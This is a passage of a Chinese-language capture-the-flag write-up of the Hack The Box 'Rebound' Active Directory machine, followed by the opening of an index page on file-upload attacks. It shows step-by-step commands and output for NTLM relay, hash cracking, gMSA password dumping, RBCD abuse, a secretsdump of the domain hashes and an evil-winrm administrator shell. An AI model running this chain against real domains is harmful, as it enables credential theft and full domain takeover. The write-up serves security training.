objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAADb8QujUWpk7EXlFOjCHVuIAigAAGwb//87FS6QsIPIYCIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:

[*] Forcing cross-session authentication
[*] Using CLSID: 354ff91b-5e49-4bdc-a8e6-1cb6c6877182
[*] Spawning in session 1
[*] NTLM1
4e544c4d535350000100000097b208e2070007002c00000004000400280000000a0063450000000f444330315245424f554e44
[*] NTLM2
4e544c4d53535000020000000e000e003800000015c289e25976b5afd38af057000000000000000086008600460000000a0063450000000f7200650062006f0075006e00640002000e007200650062006f0075006e006400010008004400430030003100040016007200650062006f0075006e0064002e006800740062000300200064006300300031002e007200650062006f0075006e0064002e00680074006200050016007200650062006f0075006e0064002e0068007400620007000800b4a468ea5e87da010000000000000000000000005c00410070007000490044005c004b00507044400b7f0000
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, ReplayDetect, SequenceDetect, UseDceStyle, Connection, AllowNonUserLogons
[*] NTLM3
tbrady::rebound:5976b5afd38af057:781d933ebf471ba3a53f8fde38534ba5:0101000000000000b4a468ea5e87da01403a32a0d7d14b060000000002000e007200650062006f0075006e006400010008004400430030003100040016007200650062006f0075006e0064002e006800740062000300200064006300300031002e007200650062006f0075006e0064002e00680074006200050016007200650062006f0075006e0064002e0068007400620007000800b4a468ea5e87da0106000400060000000800300030000000000000000100000000200000324a7a4dc5cc35f66c25982fee19d22fd89b784aed0a551a1d262bb80a1919680a00100000000000000000000000000000000000090000000000000000000000
System.UnauthorizedAccessException: Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED))
   at KrbRelay.IStandardActivator.StandardGetInstanceFromIStorage(COSERVERINFO pServerInfo, Guid& pclsidOverride, IntPtr punkOuter, CLSCTX dwClsCtx, IStorage pstg, Int32 dwCount, MULTI_QI[] pResults)
   at KrbRelay.Program.Main(String[] args)
```

虽然最终得到了一个错误，但获得了thbrady的NTLM3 hash，将其保存到一个文件中并提供给john。

``` bash
john tbrady --wordlist=/usr/share/wordlists/rockyou.txt

543BOMBOMBUNmanda (tbrady)
```

通过枚举tbrady的权限，看到他在delegate$上拥有ReadGMSAPassword

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rebound8.png)

组管理服务帐户(GMSA)涉及一种设置，其中Windows服务器通过为帐户创建复杂的随机密码来自主处理该帐户的密码。可以通过过滤delegate$的msDS-ManagedPassword属性来使用[bloodyAD](https://github.com/CravateRouge/bloodyAD)dump它。

``` bash
[root@kali:~/bloodyAD on main]
# python bloodyAD.py -d rebound.htb -u tbrady -p '543BOMBOMBUNmanda' --host dc01.rebound.htb get object 'delegator$' --resolve-sd --attr msDS-ManagedPassword

distinguishedName: CN=delegator,CN=Managed Service Accounts,DC=rebound,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:43e9069a73081ecfcbe1514e1d4e3bc8
msDS-ManagedPassword.B64ENCODED: tstzpYhnwwC1LuLjL0MtLrXzhLdDe8HPWCmR5BxwR5Gg87pPdmKYlhqMUh7njfqjzauLXDCp0Ofk7V+yfqCu0f5t+5zS/SmOw5wdqERpgl/uyd6LdKk/ZJYHAhifOVFWl4svHJ787reCRKbS+44rzi1DM4CcY/LLKAzHevGe3NkHww8vILZUU6cQNcKSyteGPRmxK2iq05EUs8ggGBwxAHwXCm24U8gdc19ILeL8YTtbUy/n5t+t7/DScrDHK8O1Suo6yPJXP37UaDsbIWJiqGNgcSLyWPgT6hEhLkODEjsBiqAgDAYTkrR6YZ1jlQGr6bSd9o70rSN6lPoRlfkDyQ==
[root@kali:~/bloodyAD on main]
# netexec ldap rebound.htb -u tbrady -p 543BOMBOMBUNmanda -k --gmsa
SMB         rebound.htb     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
LDAP        rebound.htb     636    DC01             [+] rebound.htb\tbrady:543BOMBOMBUNmanda
LDAP        rebound.htb     636    DC01             [*] Getting GMSA Passwords
LDAP        rebound.htb     636    DC01             Account: delegator$           NTLM: 43e9069a73081ecfcbe1514e1d4e3bc8
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rebound9.png)

delegator$'s hash: 43e9069a73081ecfcbe1514e1d4e3bc8

#### Constrained Delegation (KCD) Abuse

攻击者可以利用Kerberos委托获得对重要资源的访问权，在某些情况下，甚至可以将其权限提升到域管理员的权限。两种特定形式的委托，约束委托和基于资源的约束委托(RBCD)，都使用称为[Service-for-User (S4U)](https://www.thehacker.recipes/a-d/movement/kerberos#service-for-user-extensions)的Kerberos扩展

虽然Bloodhound没有显示约束委托，但findDelegation.py显示delegator$实际上能够委托:

``` bash
findDelegation.py rebound.htb/oorend:'1GR8t@$$4u' -dc-ip dc01.rebound.htb -k

[*] Getting machine hostname
[-] CCache file is not found. Skipping...
[-] CCache file is not found. Skipping...
AccountName  AccountType                          DelegationType                       DelegationRightsTo
-----------  -----------------------------------  -----------------------------------  ---------------------
DC01$        Computer                             Unconstrained                        N/A
delegator$   ms-DS-Group-Managed-Service-Account  Constrained w/o Protocol Transition  http/dc01.rebound.htb
```

 - 注意: 再一次，使用了之前安装的Impacket的ThePorgs分支。

没有protocol transition的委托意味着不可能用经典的"getST"来滥用它。尝试这样做会导致Kerberos错误:

``` bash
getST.py rebound.htb/delegator\$ -hashes :43e9069a73081ecfcbe1514e1d4e3bc8 -dc-ip dc01.rebound.htb -spn http/dc01.rebound.htb -impersonate Administrator
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user delegator$ or initial TGT not forwardable
```

这是因为缺乏Protocol Transition，这意味着S4U2Self步骤不会产生可转发的票证，从而导致S4U2proxy步骤失败。

本质上，用户对自己的服务(S4U2self)协议使服务能够代表另一个用户请求服务票证，但用于自己的使用。相反，用户到代理服务(S4U2proxy)协议允许一个服务代表另一个用户请求服务票证，但是请求的是不同的服务。

可以通过执行S4U2Self并检查生成的票据来验证这一点。首先通过-self标志请求票证:

``` bash
getST.py rebound.htb/delegator\$ -hashes :43e9069a73081ecfcbe1514e1d4e3bc8 -dc-ip dc01.rebound.htb -spn http/dc01.rebound.htb -impersonate Administrator -self
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] When doing S4U2self only, argument -spn is ignored
[*] Requesting S4U2self
[*] Saving ticket in Administrator@delegator$@REBOUND.HTB.ccache
```

如果检查票证，看到可转发flag没有设置:

``` bash
describeTicket.py Administrator@delegator\$@REBOUND.HTB.ccache
[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : 997cb2bd199848c134a230582eed4046
[*] User Name                     : Administrator
[*] User Realm                    : rebound.htb
[*] Service Name                  : delegator$
[*] Service Realm                 : REBOUND.HTB
[*] Start Time                    : 05/04/2024 09:28:48 AM
[*] End Time                      : 05/04/2024 19:28:48 PM
[*] RenewTill                     : 06/04/2024 09:28:46 AM
[*] Flags                         : (0xa10000) renewable, pre_authent, enc_pa_rep
[*] KeyType                       : rc4_hmac
[*] Base64(key)                   : mXyyvRmYSME0ojBYLu1ARg==
[*] Kerberoast hash               : $krb5tgs$18$USER$REBOUND.HTB$*delegator$*$d18681bc307159d28a5dee77$7388dbaa197ffb2c1c1d8fd0f66364f10d54f413d38d3dc8d76ee15a5fdb14f368832fd07079a98621e71c5de8584afba4addd907407e91b47b5f972f16256e141a2902f4803b8df99e7d8713ea1026686e49402230b49657b52300b6b00e38c19a26f7054989a27bfee94a3622f60c60bf21f3440698689830991cc6743f4473ba341256d591b90f09f2a147db51c00fe30d5d71f2f1c26b206ca6dd1bc6c3f4d41c07ef872bbf6b8be34c811bb0dfde8de758fc257db360aa0cbcff89fd5b0b5bc7c62995e7725c87d3f9c9c87c7069d5b062ae171b545adbcf0bafea6433e52b7f24c6154e19728d71e72a9ea3c55eaa2091b4077ca4e194eac85bc5d1c1efda65dda0988d8c19d2df63641c0a170d196a01d66f6b911bf130265c0a89d59877f73a35f4a3ef417e4042c0dd47e1a7b9a75d5bc125e1501ab3a224ca5e6580f0940846a0cdc8bf68574ac5dac01efcaf937dabf57d65cf1399fd92909a5cb111e78ef4478cab989636d15fc07c04810c9b139f489331272b9155fc82b9c40a870e0076b688afbb08fb51277bed2279f71c62c97512ef56a090fd9149475e0184d3eb29ea33ce931067d84f570cd62dcfa3033dcf98aa9c8c59f3d412d11a962c69d8d9c9a488e3d4c118545e4f51d87906856632972362000b7d4ad71f8046c33e54f79db516c2e044fe79ed022dd649ae787c61931d8f549574200f127bdbfccf8f005316f2a71dac848df0a7e3571435341c014cb5b163e0e70e6de510858b0cf0341e535b3d9002fc06bea908cc8900cfa697f3b3c24aa765dd3b8b875a0d1a4b2c043943790ce88e4159c741b813ee504e044cda8cecdcb8557d09b6e6b9bb2179b83e12aa2e8f06abc9f7b237c9e77f232a40e7666731ebfaa6abf7152316df6437c718f654abe40f20c13252b579a791e7e0857e70c6919f41ae2678f93cab5b8fe472b14aff3a7cd3c8889e2b349a4831933d70ed202f4597bc8a00dfcc3d59b4eed91147b57fc732ebf62924139ec7312d4b5b5fe763d825fabf0a84ecd0ae297088ff4a9f9d8aa6879bd201f9d0cac32fc30c09016a5c3a34af261c3795adf847215f6ca4b454b4ff7b7e806d93880ffb443e8e3f51107527568c6248f0e759bf0a7c4ae614c1820c6125a709bede1d079b52f05d7f0456f825a4be8c8f6b62a6ce574b961297c945e736c564adeb8199c7bc9357e518851c6bac3a4e4322f1e3e6592d478b939189cc99b04170a62d5c867f3d0a5b506f0976b29b4aa30ef162e2dee75e4dd954f3913942ad182b73eebb929cbb65209ba53592f49a3024bab27df53f67310b8eef75acebcf26640206172b4681245f7ea1cc3b102c00dbed784ca31de4f172acb6ce5fe139c3c2e8f616583d25f7281cb008831cb1e3b6f02f7511ca3ec678fb8100425d0966a2f9a7d28ac9ecd5bdf52b3da64e90a86b95cabf1df30d7d61522fb1f5b663932275e91aa735975f445650b92cd58a16f1cd4f6e25420be34afd0a80a749419ccb720dc597de33812d188b0fa7a883766025e7f6e8ca032917404ca38b2de787fc348995cb4bade6881279672e475d3874851d9c07480914221fd57f102e2c6609edf799ce8eb19b81870326a58167515008dbdc7d6
[*] Decoding unencrypted data in credential[0]['ticket']:
[*]   Service Name                : delegator$
[*]   Service Realm               : REBOUND.HTB
[*]   Encryption type             : aes256_cts_hmac_sha1_96 (etype 18)
[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied
```

在这个阶段，仍然可以通过两种方式滥用受约束委托:

1. 进行基于资源的受限委托(RBCD)攻击。
2. 在运行Kerberos侦听器时，强制或等待用户对服务进行身份验证。

目前，前者似乎是更可行的选择。

#### Resource-Based Constrained Delegation RBCD

为了执行RBCD攻击，需要将另一个服务或用户附加到delegator$的msDS-AllowedToActOnBehalfOfOtherIdentity属性，允许其他服务委托给delegator$。

根据服务必须至少有一个SPN的[constraint](https://www.thehacker.recipes/a-d/movement/kerberos#tickets)来选择服务，这导致选择ldap_monitor。为了使rbcd.py工作，需要修改/etc/hosts，在其他主机名之前添加dc01，如下所示:

``` bash
10.10.11.231 dc01 dc01.rebound.htb rebound.htb
```

***如果省略此更改，rbcd.py将返回[-]无效的服务器地址错误。***

``` bash
rbcd.py rebound.htb/delegator\$ -hashes :43e9069a73081ecfcbe1514e1d4e3bc8 -k -delegate-from ldap_monitor -delegate-to delegator$ -action write -dc-ip dc01 -use-ldaps
[-] CCache file is not found. Skipping...
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ldap_monitor can now impersonate users on delegator$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     ldap_monitor   (S-1-5-21-4078382237-1492182817-2568127209-7681)
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rebound10.png)

可以在powerview中验证这个属性是否被修改过:

``` bash
powerview rebound.htb/oorend:'1GR8t@$$4u'@dc01.rebound.htb -k
Get-DomainObject -Identity delegator$
objectClass                                  : top
                                               person
                                               organizationalPerson
                                               user
                                               computer
                                               msDS-GroupManagedServiceAccount
cn                                           : delegator
distinguishedName                            : CN=delegator,CN=Managed Service Accounts,DC=rebound,DC=htb
instanceType                                 : 4
whenCreated                                  : 20230408090831.0Z
whenChanged                                  : 20240405143632.0Z
uSNCreated                                   : 69353
uSNChanged                                   : 428294
name                                         : delegator
objectGUID                                   : {c9da97ae-5e35-44d2-aa15-114aecdc0caf}
userAccountControl                           : WORKSTATION_TRUST_ACCOUNT [4096]
badPwdCount                                  : 0
codePage                                     : 0
countryCode                                  : 0
badPasswordTime                              : 04/04/2024
lastLogoff                                   : 0
lastLogon                                    : 04/05/2024
localPolicyFlags                             : 0
pwdLastSet                                   : 04/02/2024
primaryGroupID                               : 515
objectSid                                    : S-1-5-21-4078382237-1492182817-2568127209-7687
accountExpires                               : 9223372036854775807
logonCount                                   : 107
sAMAccountName                               : delegator$
sAMAccountType                               : 805306369
dNSHostName                                  : gmsa.rebound.htb
servicePrincipalName                         : browser/dc01.rebound.htb
objectCategory                               : CN=ms-DS-Group-Managed-Service-Account,CN=Schema,CN=Configuration,DC=rebound,DC=htb
isCriticalSystemObject                       : FALSE
dSCorePropagationData                        : 16010101000000.0Z
lastLogonTimestamp                           : 133562535487307243
msDS-AllowedToDelegateTo                     : http/dc01.rebound.htb
msDS-SupportedEncryptionTypes                : RC4-HMAC
                                               AES128
                                               AES256
msDS-AllowedToActOnBehalfOfOtherIdentity     : AQAEgEAAAAAAAAAAAAAAABQAAAAEACwAAQAAAAAAJAD/AQ8AAQUAAAAAAAUVAAAAnSwX8yHn8FjpghKZAR4AAAECAAAAAAAFIAAAACACAAA=
msDS-ManagedPasswordId                       : AQAAAEtEU0sCAAAAagEAAAoAAAAGAAAAqozXLXGPzBuv4FrBregFhwAAAAAYAAAAGAAAAHIAZQBiAG8AdQBuAGQALgBoAHQAYgAAAHIAZQBiAG8AdQBuAGQALgBoAHQAYgAAAA==
msDS-ManagedPasswordPreviousId               : AQAAAEtEU0sCAAAAagEAAAcAAAAeAAAAqozXLXGPzBuv4FrBregFhwAAAAAYAAAAGAAAAHIAZQBiAG8AdQBuAGQALgBoAHQAYgAAAHIAZQBiAG8AdQBuAGQALgBoAHQAYgAAAA==
msDS-ManagedPasswordInterval                 : 30
msDS-GroupMSAMembership                      : AQAEgBQAAAAAAAAAAAAAACQAAAABAgAAAAAABSAAAAAgAgAABAAsAAEAAAAAACQA/wEPAAEFAAAAAAAFFQAAAJ0sF/Mh5/BY6YISmQYeAAA=
```

再次运行findDelegation.py也会显示更新后的条目:

``` bash
findDelegation.py rebound.htb/oorend:'1GR8t@$$4u' -dc-ip dc01.rebound.htb -k
[*] Getting machine hostname
[-] CCache file is not found. Skipping...
[-] CCache file is not found. Skipping...
AccountName   AccountType                          DelegationType                       DelegationRightsTo
------------  -----------------------------------  -----------------------------------  ---------------------
DC01$         Computer                             Unconstrained                        N/A
ldap_monitor  Person                               Resource-Based Constrained           delegator$
delegator$    ms-DS-Group-Managed-Service-Account  Constrained w/o Protocol Transition  http/dc01.rebound.htb
```

现在已经准备好执行RBCD了。想法是，可以作为任何帐户从delegator$上的ldap_monitor请求票证，为delegator$上的模拟帐户创建一个可转发的ST。将模拟DC01$，因为Administrator被标记为敏感，不能委托:

``` bash
Get-DomainUser -Identity Administrator
cn                                : Administrator
description                       : Built-in account for administering the computer/domain
distinguishedName                 : CN=Administrator,CN=Users,DC=rebound,DC=htb
memberOf                          : CN=Group Policy Creator Owners,CN=Users,DC=rebound,DC=htb
                                    CN=Domain Admins,CN=Users,DC=rebound,DC=htb
                                    CN=Enterprise Admins,CN=Users,DC=rebound,DC=htb
                                    CN=Schema Admins,CN=Users,DC=rebound,DC=htb
                                    CN=Administrators,CN=Builtin,DC=rebound,DC=htb
name                              : Administrator
objectGUID                        : {37857665-6e2e-4f12-9976-5c9babcd8282}
userAccountControl                : NORMAL_ACCOUNT [1114624]
                                    DONT_EXPIRE_PASSWORD
                                    NOT_DELEGATED
badPwdCount                       : 1
badPasswordTime                   : 04/05/2024
lastLogoff                        : 0
lastLogon                         : 03/29/2024
pwdLastSet                        : 04/08/2023
primaryGroupID                    : 513
objectSid                         : S-1-5-21-4078382237-1492182817-2568127209-500
adminCount                        : 1
sAMAccountName                    : Administrator
sAMAccountType                    : 805306368
objectCategory                    : CN=Person,CN=Schema,CN=Configuration,DC=rebound,DC=htb
```

然后可以使用delegator$的受限特权将可转发的ST转发到DC，从而在DC上为DC01$创建一个ST。

首先，从delegator$上的ldap_monitor请求一个ST，模拟DC01$。

``` bash
getST.py rebound.htb/ldap_monitor:'1GR8t@$$4u' -spn browser/dc01.rebound.htb -impersonate DC01$
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating DC01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in DC01$@browser_dc01.rebound.htb@REBOUND.HTB.ccache
```

这允许通过提供刚刚生成的票证来跳过S4U2Self步骤，这是可转发的:

``` bash
describeTicket.py DC01\$@browser_dc01.rebound.htb@REBOUND.HTB.ccache
[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : 767d153d636e861400de859c0d561ba9
[*] User Name                     : DC01$
[*] User Realm                    : rebound.htb
[*] Service Name                  : browser/dc01.rebound.htb
[*] Service Realm                 : REBOUND.HTB
[*] Start Time                    : 05/04/2024 09:45:34 AM
[*] End Time                      : 05/04/2024 19:45:33 PM
[*] RenewTill                     : 06/04/2024 09:43:52 AM
[*] Flags                         : (0x40a10000) forwardable, renewable, pre_authent, enc_pa_rep
[*] KeyType                       : rc4_hmac
[*] Base64(key)                   : dn0VPWNuhhQA3oWcDVYbqQ==
[*] Kerberoast hash               : $krb5tgs$18$USER$REBOUND.HTB$*browser/dc01.rebound.htb*$8a9675ea512659235df48421$7458895533348641c64dc62d133e5e03b4884970efdc309d94bd69c6048ee1e41fc7223cbaa570d0dbaa677985115f8b10153b4e08f299f5e5625fbb8d280a8226ab6ec8aeec14a9cde49902c9441dfee71e0fc38bd342d8af61593edd951f1d9d05499e5c01bd3fbeab18cbdc7876a6a189fa7c853d944d6057312d52a53bbe294b2191211a247c198abd00bb95152f74b8b1488c343a381d28ced950705b379ada4cf2d433e87ecfc34dbc29026cc05042e81933a1221781064d17ffae974ac83038236a17cee8151eab2e11014a90deca09b7e05632d564728c489add0fc6f68b8bd0ab425e1f3a891d38f47e3bf61d07dc1a1e7211080b0ad1211eb5543455235dd9f01da926c249480fb8b195346cedba939a5ba9239f9f8c6d270524d6e5b1aad7aa8fb8488c75964ffc964098b60c212658725e85bea570c88396551e23e0af1f19f7042bfa38db3fb4f3ee87efca16931f7cdf05a5179d264b1d63addd312325d1012e2106d305aeecdc8e645eaa089890b37b0f44d615a547b0049bc2f4618e63ea9653437c5c18f16c115f106ef259d1800429d1302ccfef6c2392636a571789f83fd56596b776efbd784d0153beb770ae6eee1771fbb561c079803c5a56a0026946ecc88c730647df64968d65f6b91f6a096657e439e73c7145df53fc7e7ab8ead89ebdcf52952cd42f5e6a5496aaf3a1c3142ad719687769ec44de969223c94fe0990e9fe3f73e71fbd99cfff2f0a6c609a0a08c325ddbef586a1d4c88f5f648dcfe4390565f4ada6a13805152b247837cd2cac7adc98b1b4bd755829566896aea34e12f35ae6bd4f9ed29bc7849d998168e7a7ce3f67f6ba0ed6faf6a85c80e180234ef34d106ea7cdcdd45749849ada99ddc2e0e9584473cf69c785016d59df543965feaefaf254a621faa1a5dd4e8a397c1a70baae027c6e5d69bf934dd873566dbe6857b96450cae2a8e3ccdafa7d6550f3ebad667a3d1f4bd5a95729a817907d3246c34da60ff1ee54d31592e9e2c006feb485db8cde5ada3ef04dba13522409acbc835b2d66017f6366e27dfa487b1d15c634ef03446c7f0baf1b4e106161242c45704f026a1ed95207c6bdce5842d8ab9ab7606841a6c632140d4e543bf8d8a696d0960db0799ff19e4148294ef6d47be90c18d5c66fa69e69ea48390b73e2981d8d9146f5788c4d2bfe9ffb5498b75dcef923202fc8da417003280a27797ea0e5d6592cc0419f500df5cf6188d20be4b7d909ec3d137366da5ccc0d1a58b8a1a73bcdfc64d602ffa91d72c0438364ca56b195f8f5beed6f6f1720184ce553341b12cde0291eb24c6e8c5d96d186bbedcdff254673c3b4de709f3f6d3c27aabbb45c5779d223eb81e5b97fd7da406226d7012d5b1e350fe9f73b133dde5777efb7781b1b7759ccc8b8b3af0574d16ffd1a0ea0121973b3fd0129b07a0b4034163212242f5b429e9b562c4f9d6f69c91e1990701625d7afbc7624b70bc54d92040a9a02e0d5aab61abd85462a74624d35a25f1774df006705c7ffae4f8158f5c8a70e19b81f8b93ca2b9d0d50d193f462a80d1cc2cb6dd6f2efc96667ac1ce796e13ff721d7dd812efc9ec993fa99b2af0b7321fa4bc35ddc072caf2d2bf5aff6b9d2249490a2c97fbae72f66d4948f1aab10a15fc161a92e0a873136a1c581083c0b18c7cdbe8c13a2708e9f8f5e4f5bc389b9b808f98dcb25fdb80ca593049b6497819610cce55a755d568ab52253e563b7aa8e42dc4b5f659937188989582191a97652beff2eac4bf0bf5d064f1d29c2b662751ede388
[*] Decoding unencrypted data in credential[0]['ticket']:
[*]   Service Name                : browser/dc01.rebound.htb
[*]   Service Realm               : REBOUND.HTB
[*]   Encryption type             : aes256_cts_hmac_sha1_96 (etype 18)
[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied
```

完成攻击

``` bash
getST.py rebound.htb/delegator\$ -hashes :43e9069a73081ecfcbe1514e1d4e3bc8 -spn http/dc01.rebound.htb -additional-ticket DC01\$@browser_dc01.rebound.htb@REBOUND.HTB.ccache -impersonate DC01$
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating DC01$
[*]     Using additional ticket DC01$@browser_dc01.rebound.htb@REBOUND.HTB.ccache instead of S4U2Self
[*] Requesting S4U2Proxy
[*] Saving ticket in DC01$@http_dc01.rebound.htb@REBOUND.HTB.ccache
```

通过使用-additional-ticket flag指定可转发票据，将其直接提供给S4U2Proxy，这允许在域控制器上获得DC01$的ST。

最后，将票据提供给secretsdump.py，获得Administrator的hash。

``` bash
(impacket-fork) [root@kali ~ ]$ KRB5CCNAME=./DC01\$@http_dc01.rebound.htb@REBOUND.HTB.ccache secretsdump.py -k -no-pass dc01.rebound.htb -just-dc-user administrator
/root/impacket-fork/bin/secretsdump.py:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  __import__('pkg_resources').run_script('impacket==0.10.1.dev1+20231106.134307.9aa93730', 'secretsdump.py')
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:176be138594933bb67db3b2572fc91b8:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:32fd2c37d71def86d7687c95c62395ffcbeaf13045d1779d6c0b95b056d5adb1
Administrator:aes128-cts-hmac-sha1-96:efc20229b67e032cba60e05a6c21431f
Administrator:des-cbc-md5:ad8ac2a825fe1080
[*] Cleaning up...
(impacket-fork) [root@kali ~ ]$ KRB5CCNAME='DC01$@http_dc01.rebound.htb@REBOUND.HTB.ccache' secretsdump.py -no-pass -k dc01.rebound.htb -just-dc-ntlm
/root/impacket-fork/bin/secretsdump.py:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  __import__('pkg_resources').run_script('impacket==0.10.1.dev1+20231106.134307.9aa93730', 'secretsdump.py')
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:176be138594933bb67db3b2572fc91b8:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1108b27a9ff61ed4139d1443fbcf664b:::
ppaul:1951:aad3b435b51404eeaad3b435b51404ee:7785a4172e31e908159b0904e1153ec0:::
llune:2952:aad3b435b51404eeaad3b435b51404ee:e283977e2cbffafc0d6a6bd2a50ea680:::
fflock:3382:aad3b435b51404eeaad3b435b51404ee:1fc1d0f9c5ada600903200bc308f7981:::
jjones:5277:aad3b435b51404eeaad3b435b51404ee:e1ca2a386be17d4a7f938721ece7fef7:::
mmalone:5569:aad3b435b51404eeaad3b435b51404ee:87becdfa676275415836f7e3871eefa3:::
nnoon:5680:aad3b435b51404eeaad3b435b51404ee:f9a5317b1011878fc527848b6282cd6e:::
ldap_monitor:7681:aad3b435b51404eeaad3b435b51404ee:5af1ff64aac6100ea8fd2223b642d818:::
oorend:7682:aad3b435b51404eeaad3b435b51404ee:5af1ff64aac6100ea8fd2223b642d818:::
winrm_svc:7684:aad3b435b51404eeaad3b435b51404ee:4469650fd892e98933b4536d2e86e512:::
batch_runner:7685:aad3b435b51404eeaad3b435b51404ee:d8a34636c7180c5851c19d3e865814e0:::
tbrady:7686:aad3b435b51404eeaad3b435b51404ee:114e76d0be2f60bd75dc160ab3607215:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:989c1783900ffcb85de8d5ca4430c70f:::
delegator$:7687:aad3b435b51404eeaad3b435b51404ee:43e9069a73081ecfcbe1514e1d4e3bc8:::
[*] Cleaning up...
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rebound11.png)

使用evil-winrm获得一个administrator shell

``` bash
┌─[root@kali] - [~/hackthebox/machine/rebound] - [2582]
└─[$] evil-winrm -i dc01 -u administrator -H 176be138594933bb67db3b2572fc91b8                                                                         [5:36:50]

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
rebound\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> cat root.txt
af2b247a25910f7c8b320c45ab507ae4
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rebound12.png)

#### Reference Sources

 - [0xdf's blog rebound walkthrough](https://0xdf.gitlab.io/2024/03/30/htb-rebound.html)
 - [Impacket](https://github.com/fortra/impacket)
 - [New Attack Paths? AS Requested Service Tickets](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/)
 - [Support for Kerberoasting without pre-authentication and ST request through AS-REQ #1413](https://github.com/fortra/impacket/pull/1413)
 - [impacket github分支](https://github.com/ThePorgs/impacket)
 - [bloodhound.py](https://github.com/dirkjanm/BloodHound.py)
 - [Active Directory Bloodhound](https://academy.hackthebox.com/course/preview/active-directory-bloodhound)
 - [Descendant Object Takeover (DOT)](https://support.bloodhoundenterprise.io/hc/en-us/articles/17312347318043-GenericAll)
 - [powerview.py](https://github.com/aniqfakhrul/powerview.py)
 - [ShadowCredentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)
 - [KrbRelay](https://github.com/cube0x0/KrbRelay)
 - [RunasCs](https://github.com/antonioCoco/RunasCs)
 - [bloodyAD](https://github.com/CravateRouge/bloodyAD)
 - [Service-for-User (S4U)](https://www.thehacker.recipes/a-d/movement/kerberos#service-for-user-extensions)

<!-- kb:end rebound -->

</details>




# 文件写入、上传验证与后续解析

文件能否上传、保存成什么名字、由哪个解析器执行，是三个需要分别验证的问题。本章保留后缀、内容、MIME、请求方法和落点之间的关系，再核对后续系统权限。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/uploads/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Drunk Admin 与 In Plain Sight 的图像处理保留双后缀及内容检测。

CuteNews 与 Voting System 的文件写入分别依赖各自账户和路径条件。

SickOs 的 HTTP PUT、JIS 的后台资料和其他文件权限分支均有原始请求记录。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [图像入口、注释与系统凭据](#case-in-plain-sight-1-0-1) | In-Plain-Sight-1-0-1 | 文件上传、WordPress、SUID |
| [内部服务凭据与 MSI 策略](#case-love) | love | SSRF、文件上传、AlwaysInstallElevated |
| [图像内容、新闻系统与 D-Bus](#case-passage) | passage | 文件上传、CuteNews、D-Bus |
| [HTTP PUT 与周期性 chkrootkit](#case-sickos-1-2) | SickOs-1-2 | HTTP PUT、chkrootkit、CVE-2014-0476 |
